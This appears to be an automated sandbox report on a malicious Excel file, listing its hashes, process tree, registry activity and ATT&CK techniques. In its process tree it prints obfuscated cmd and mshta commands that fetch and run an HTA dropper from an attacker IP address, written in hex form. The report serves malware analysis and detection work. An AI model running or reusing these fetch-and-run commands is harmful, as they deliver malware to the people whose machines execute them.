b95e52b3171cd7d7ed07b0a75ab5d912d7204263b435f2af208f22c06bf05775

Analysis

max time kernel
68s
max time network
39s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
20-11-2024 20:52

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General

Target

b95e52b3171cd7d7ed07b0a75ab5d912d7204263b435f2af208f22c06bf05775.xls
Size

101KB
MD5

447c33f9aab2d4897276e6942d87de3e
SHA1

609ccde3bc76e695be73af250b7491e01de43359
SHA256

b95e52b3171cd7d7ed07b0a75ab5d912d7204263b435f2af208f22c06bf05775
SHA512

9bcf581b5a4f9f2eaef983b7dcf8c2033db62e19bade32c07d44ff93fbe3cd4afc7a31853fc68b833c8fb75339ee7cc564735c8dc03d7976858c48844a53ff92
SSDEEP

3072:n/k3hbdlylKsgqopeJBWhZFGkE+cL2NdAFxe53lGvFTQ3IzxgdrvxpU0OKvMB:/k3hbdlylKsgqopeJBWhZFVE+W2NdAOK

Score

10^/10

discovery

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/fer/fe3.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2956	576	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 2 IoCs

Processes:

mshta.exe

flow pid process

4 2992 mshta.exe
5 2992 mshta.exe

flow	pid	process
4	2992	mshta.exe
5	2992	mshta.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

EXCEL.EXEcmd.exemshta.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main mshta.exe
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

576 EXCEL.EXE
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

576 EXCEL.EXE
576 EXCEL.EXE
576 EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

pid	process
576	EXCEL.EXE

pid	process
576	EXCEL.EXE
576	EXCEL.EXE
576	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 576 wrote to memory of 2956	576	EXCEL.EXE	cmd.exe
PID 576 wrote to memory of 2956	576	EXCEL.EXE	cmd.exe
PID 576 wrote to memory of 2956	576	EXCEL.EXE	cmd.exe
PID 576 wrote to memory of 2956	576	EXCEL.EXE	cmd.exe
PID 2956 wrote to memory of 2992	2956	cmd.exe	mshta.exe
PID 2956 wrote to memory of 2992	2956	cmd.exe	mshta.exe
PID 2956 wrote to memory of 2992	2956	cmd.exe	mshta.exe
PID 2956 wrote to memory of 2992	2956	cmd.exe	mshta.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\b95e52b3171cd7d7ed07b0a75ab5d912d7204263b435f2af208f22c06bf05775.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:576
- C:\Windows\SysWOW64\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2956
- - C:\Windows\SysWOW64\mshta.exe
    mshta http://0xb907d607/fer/fe3.html
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    PID:2992

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/576-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/576-1-0x0000000072C3D000-0x0000000072C48000-memory.dmp

Filesize
44KB

Download
memory/576-2-0x0000000072C3D000-0x0000000072C48000-memory.dmp

Filesize
44KB

Download